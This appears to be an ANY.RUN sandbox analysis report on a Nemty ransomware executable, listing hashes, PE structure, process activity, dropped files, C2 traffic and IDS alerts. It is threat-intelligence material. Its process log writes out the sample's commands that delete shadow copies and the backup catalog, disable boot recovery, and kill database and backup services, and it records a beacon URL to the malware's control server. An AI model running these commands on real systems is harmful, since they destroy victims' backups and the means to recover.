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File name:

2019-12-06 015601.exe

Full analysis: https://app.any.run/tasks/5aa901a0-8601-49ee-8725-886e9b6e4c63
Verdict: Malicious activity
Threats:

Nemty is ransomware with an unusually complex encryption algorithm. This malware encrypts user files and demands money so that they can be unlocked again. It may be connected to other famous ransomware, but we don’t know for sure.

Analysis date: December 06, 2019, 13:21:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
ransomware
nemty
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

78E8F10E8FB878F04C27E94B9C6DF9DD

SHA1:

8DDAB0534C78C0CCD7F00FD37760CEF582676148

SHA256:

B41DB9492AF0134EEBB2DC074BD1AD2F585372A36A8C2BF3165E81E9A967824E

SSDEEP:

6144:gwaNSFS1XJx876gaiYefVAnaOqW/U7N38Caadn+t:gDSFSNf3iJV6qdN38Cfd+t

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts BCDEDIT.EXE to disable recovery

      • cmd.exe (PID: 3444)
    • NEMTY was detected

      • 2019-12-06 015601.exe (PID: 784)
    • Deletes shadow copies

      • cmd.exe (PID: 3444)
    • Changes settings of System certificates

      • 2019-12-06 015601.exe (PID: 784)
    • Starts NET.EXE for service management

      • cmd.exe (PID: 2504)
    • Dropped file may contain instructions of ransomware

      • 2019-12-06 015601.exe (PID: 784)
    • Connects to CnC server

      • 2019-12-06 015601.exe (PID: 784)
    • Renames files like Ransomware

      • 2019-12-06 015601.exe (PID: 784)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • 2019-12-06 015601.exe (PID: 784)
    • Adds / modifies Windows certificates

      • 2019-12-06 015601.exe (PID: 784)
    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 184)
    • Creates files in the user directory

      • 2019-12-06 015601.exe (PID: 784)
    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 184)
    • Creates files in the program directory

      • 2019-12-06 015601.exe (PID: 784)
    • Creates files like Ransomware instruction

      • 2019-12-06 015601.exe (PID: 784)
  • INFO

    • Dropped object may contain TOR URL's

      • 2019-12-06 015601.exe (PID: 784)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 EXE PECompact compressed (generic) (32.3)
.exe | Win32 Executable MS Visual C++ (generic) (24.2)
.exe | Win64 Executable (generic) (21.4)
.scr | Windows screen saver (10.1)
.dll | Win32 Dynamic Link Library (generic) (5.1)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2017:01:02 12:16:24+01:00
PEType: PE32
LinkerVersion: 6
CodeSize: 167936
InitializedDataSize: 167936
UninitializedDataSize: -
EntryPoint: 0xf06e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.1
ProductVersionNumber: 1.0.0.1
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
Comments: written by Chris Apple
CompanyName: Apple Enterprises
FileDescription: SplashMfcDialog MFC Application
FileVersion: 1, 0, 0, 1
InternalName: SplashMfcDialog
LegalCopyright: Copyright (C) 2009
LegalTrademarks: -
OriginalFileName: SplashMfcDialog.EXE
PrivateBuild: -
ProductName: SplashMfcDialog
ProductVersion: 1, 0, 0, 1
SpecialBuild: -

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 02-Jan-2017 11:16:24
Detected languages:
  • English - United States
Comments: written by Chris Apple
CompanyName: Apple Enterprises
FileDescription: SplashMfcDialog MFC Application
FileVersion: 1, 0, 0, 1
InternalName: SplashMfcDialog
LegalCopyright: Copyright (C) 2009
LegalTrademarks: -
OriginalFilename: SplashMfcDialog.EXE
PrivateBuild: -
ProductName: SplashMfcDialog
ProductVersion: 1, 0, 0, 1
SpecialBuild: -

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 02-Jan-2017 11:16:24
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00028665
0x00029000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.52145
.rdata
0x0002A000
0x00009E46
0x0000A000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.61804
.data
0x00034000
0x0000ECAC
0x0000B000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.46783
.rsrc
0x00043000
0x0000F118
0x00010000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
3.46694

Resources

Title
Entropy
Size
Codepage
Language
Type
1
3.38458
968
UNKNOWN
English - United States
RT_VERSION
2
2.55844
296
UNKNOWN
English - United States
RT_ICON
3
3.02695
308
UNKNOWN
English - United States
RT_CURSOR
4
2.74274
180
UNKNOWN
English - United States
RT_CURSOR
7
2.2604
82
UNKNOWN
English - United States
RT_STRING
102
3.23357
322
UNKNOWN
English - United States
RT_DIALOG
128
2.37086
34
UNKNOWN
English - United States
RT_GROUP_ICON
129
2.91916
49192
UNKNOWN
English - United States
RT_BITMAP
3841
2.62471
100
UNKNOWN
English - United States
RT_STRING
3842
0.960953
42
UNKNOWN
English - United States
RT_STRING

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
OLEAUT32.dll
OLEPRO32.DLL
USER32.dll
VERSION.dll
WINSPOOL.DRV
comdlg32.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
100
Monitored processes
59
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #NEMTY 2019-12-06 015601.exe cmd.exe no specs cmd.exe no specs vssadmin.exe no specs vssadmin.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs taskkill.exe no specs net.exe no specs vssadmin.exe no specs net1.exe no specs net.exe no specs bcdedit.exe no specs bcdedit.exe no specs net1.exe no specs wbadmin.exe no specs net.exe no specs net1.exe no specs wmic.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs taskkill.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs net.exe no specs net1.exe no specs net.exe no specs net1.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
784"C:\Users\admin\AppData\Local\Temp\2019-12-06 015601.exe" C:\Users\admin\AppData\Local\Temp\2019-12-06 015601.exe
explorer.exe
User:
admin
Company:
Apple Enterprises
Integrity Level:
MEDIUM
Description:
SplashMfcDialog MFC Application
Version:
1, 0, 0, 1
3304"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MBC:\Windows\System32\cmd.exe2019-12-06 015601.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3596"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unboundedC:\Windows\System32\cmd.exe2019-12-06 015601.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3332vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MBC:\Windows\system32\vssadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2212vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unboundedC:\Windows\system32\vssadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
184"C:\Windows\System32\cmd.exe" /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.* C:\Windows\System32\cmd.exe2019-12-06 015601.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2504"C:\Windows\System32\cmd.exe" /c net stop DbxSvc.* & net stop OracleXETNSListener.* & net stop OracleServiceXE.* & net stop AcrSch2Svc.* & net stop AcronisAgent.* & net stop Apache2.4.* & net stop SQLWriter.* & net stop MSSQL$SQLEXPRESS.* & net stop MSSQLServerADHelper100.* & net stop MongoDB.* & net stop SQLAgent$SQLEXPRESS.* & net stop SQLBrowser.* & net stop CobianBackup11.* & net stop cbVSCService11.* & net stop QBCFMontorService.* & net stop QBVSS.* C:\Windows\System32\cmd.exe2019-12-06 015601.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3444"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy deleteC:\Windows\System32\cmd.exe2019-12-06 015601.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2147749908
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3016taskkill /f /im sql.* C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3996net stop DbxSvc.* C:\Windows\system32\net.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
237
Read events
198
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
42
Text files
92
Unknown types
4

Dropped files

PID
Process
Filename
Type
7842019-12-06 015601.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\raw[1].txt
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Contacts\admin.contact
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\accountsbusiness.rtf
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\afterreviews.rtf
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\energyclients.jpg
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\expressmenu.png
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\framemonitor.png
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\freeiraq.rtf
MD5:
SHA256:
7842019-12-06 015601.exeC:\Users\admin\Desktop\houseavailability.png
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
784
2019-12-06 015601.exe
GET
200
185.139.70.75:80
http://nemty10.hk/public/gate.php?data=.eUrp2j97tgt4J0ZxKS/P6ibiGso9NsUQZjnw14lnPgBEjnY.Mq6LmTvadftAp4qI5OQDUEu219cmC/p2LN830FpS7NB/wtPoEmxnM0hdixBUu0FHhQnmShHbSfyojAuVYsF7rNs.RhGH97nn5NQ1NCvJtu6vTnUQXlGrG1goPQYlglgCO0QJhVqUWNIAQPWBTLdJzmsMTW/tDGdKNwMLdGAgQUeg6/N8jz8mYRmBQNnK8mLJkR.2LEr7wHvX7huwUNT6hrWesEWprYX6Wpg1ptSP5OnxixJOH.jEUav1knILoUGdT1Z5.PfgmRtFf8wXKHWoA34eVay8Cro/VtdKfsvMxq3XEDdU.9p/VCgxCO5va3ybsX6rlJMeHsNs3UDympsyi53AjO2MB0Hr4uGmmwNf5tP1DIdL6YJ0VRniSBel7UJ82CfV0OuwjTa5Ck2h9jsC5PWHFoFTZjfwqt1FypQ3/15z5XaEWL8SDV9zltPooSXcCZZ7XPNsRYE4slDT/LcMvqhqGxwWMD56oNhNA0wkR.PeuRluyGy6/2FZ3QnKUEx7S.4cmF6U24VBBSApGahNK6VG0q/Q66mA2UWMT2oGVOGvADbMoYC9antEtOVwPl66/ExXj7LEDIcBYqb3wCNf2m8kzSvfHiA.RxDyVxgFXWUc4XiYhntIQ2UG7b55iknJjOk45eGhGOF46V.xfdthvLV36LmwX5OTTZLtC6Huv/VE2hjXFayyRSBubtW8LnTMT7huYvIDobCzuebo9Lc3WgV7ZOabUOBYSXo5ENyNb8IAKGfk.S8ewe0FnPHJVHGshNQiQHKNfnJq.XXz./ea0XplyQbgA.5XecjPRLdhFc8y6ZGP.vQWbk81AJDPhM4VlTD76iM4L/8oborpHOyQkyScBd0poX0MFg./o36wWEqseTgMbdnvG552Tmh4nCo4.bVV9xuHTnbmWHlKOGT4CEcwAs3fTAgbj9oEHi9vvSbFjEp3zwniof/wAYO/7S.cFbEToUEeooDkpEL82YgJd2sxpJq8Tdbg.PkQXSVYJrK/AUcBVLMpQ.3P01ku3p6OQUwYGFL5KdAH.KRBkEX9WnWsiamcOKeNgqfNOLcoWtyU0IqDbb6rFLeEP77IeGl38VT9P.WmwLDEbtJjMGSF6l3/QCw8PSbfbCzRq//928hL4WjVkPUiih1OuKzjOa/wZioxM6pgLm6JCnYID2UbFLKMw0RUnuksS.m10/ozIJC.21haL2u0buK8p3vxNoHKoO12QHn3ZRn8XXccoQbRplbylBk3dQi8WShuVMy6iB2Ih06Ovj0YWdmw8CwXqJC/SLwxFgKPPRft65/EOqDG6MaP27Z1fkhroFOoQ==GS1ID4GuLmi.mGV652zO1FTW/XvAxJc89SCTFqfPKevO99FAq4ATKLXSiPWxr.QGfrJZ2pcr7PR3B2ne1v9pp54uXoSAWWyIiruokM5jgmJz0j2QFn93T6cuh5MmlMUdf5jJT8CU9MPyvDagJB3l6JvCSK6eO6viNZ728fnTaawDtWIK14T8NWf5ffNnoMUVJzVNdBIHEpodUWm5YbO1b6DW1iCUSm0C2T9uQOQawj9xkJcyFqSwUHPSVJ.L./OBdrMe5H/zLlxy0a6Nf1RASfbP6BIN4MulKWx1MaqIMw3hKyz3IS2gsiXUF9L3D9PF47TuBQbXDhWFqDpoJOSSCA8KXhUfnNlwl38ETcAJf8ApM0aW3qPjkinHceu.jEHPk7rMCOfMZdkz5zrtgc/OOFs4l2HI3TwP/tV4ATpdQ2kCUm78fGw4jb4.f7.9GdZl2wSeNeCZ3rl3//s/GwzFUFm5gxoSQrWHbG2pTaLrPu9NOweuocs2Wqhy7NUKVadJS7Z1b2W1yDfAqQUUpk7qHiNp4kz6Fnk6AQAT2/GdyTxFIsnrRl08B50FeJZbNdG08/WFpNT3lRjGiOfgaanCIhRmoadlLj2VlqvhhdH35gnC4olIQY.quWs/ZNH.4uLxnIqedefrT7xOa06gncYF3Qu2ikoE6vyiD1BW8ZsEr6YhdVFvygb/mzeaRvG8OTUJ3tU8tSroD9ZTEO2m1Gd9pni4y/OEcUnkI5Leh2kQkeXu3ovFhblgnu05axGqKkvocVBOeABtjG9YO1WHHTXEWVYl6Zs5caBFOf87JG/nRNXRENVW7WjDmVOj.T8IKlQDSc7wkDU5tosvLrUu1.VVVzm3FQ.gN5aSyyHlwHuZcKQmcOSr8C6B2f9cXJrNk4on1F/FRBxOYuL8WyNAwI8WQeJI.TMw/D7F82.e.Cvegaz5FVxTxQSrKhnkUHXcKDcEVNV2iMLMiklp2X2BtDq1vggtV72Zd7fVeSip0yvT7sEuFqBbLtfuCRU1ClHzxcQDCbkPp2tVLKZKxV6uAsBd19nqH.ZQjivO7e05n4NNNBS6wqO9FAUeo6.WpY58p9EPEKnfHTCthqY7asLUrwWFHZJ9GSiBiQinQIV3AIFMYU0.FzATLaymzZyvFmyhCrdFPLMDhTSJUzeH3hVgAY/.MmxeahcXkzm.pBtqWL.6n.HpVfF8STtsWocinTw4zpSFKMxdpaCXMBirm8B5cmv21dKXAhZRhNJwqw.QaapC2esMp3JkFDE2j1Ezi0qpYHfgeqnBdEHKD.zAiMBGb7PCC2O7Yz.eCv355styDJzTXKsm7zi2ufKl2BtbKj59yeWz59MN5OOLZbjPVKj4j/OwnQ==
RO
2 b
malicious
784
2019-12-06 015601.exe
GET
200
104.26.4.15:80
http://api.db-ip.com/v2/free/85.203.44.11/countryName
US
text
11 b
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
185.139.70.75:80
nemty10.hk
Softkit SRL
RO
malicious
784
2019-12-06 015601.exe
172.217.22.19:443
www.myexternalip.com
Google Inc.
US
whitelisted
784
2019-12-06 015601.exe
104.26.4.15:80
api.db-ip.com
Cloudflare Inc
US
malicious

DNS requests

Domain
IP
Reputation
www.myexternalip.com
  • 172.217.22.19
whitelisted
api.db-ip.com
  • 104.26.4.15
  • 104.26.5.15
shared
nemty10.hk
  • 185.139.70.75
  • 45.143.138.67
  • 185.186.141.129
  • 185.125.58.11
malicious

Threats

PID
Process
Class
Message
784
2019-12-06 015601.exe
A Network Trojan was detected
ET TROJAN Win32/Nemty Ransomware Style Geo IP Check M1
784
2019-12-06 015601.exe
Potential Corporate Privacy Violation
ET POLICY External Geo IP Lookup (api .db-ip .com)
784
2019-12-06 015601.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (Chrome)
784
2019-12-06 015601.exe
A Network Trojan was detected
ET TROJAN Generic gate[.].php GET with minimal headers
784
2019-12-06 015601.exe
A Network Trojan was detected
AV TROJAN Kasperagent C2 Beacon 1
784
2019-12-06 015601.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (Chrome)
1 ETPRO signatures available at the full report
No debug info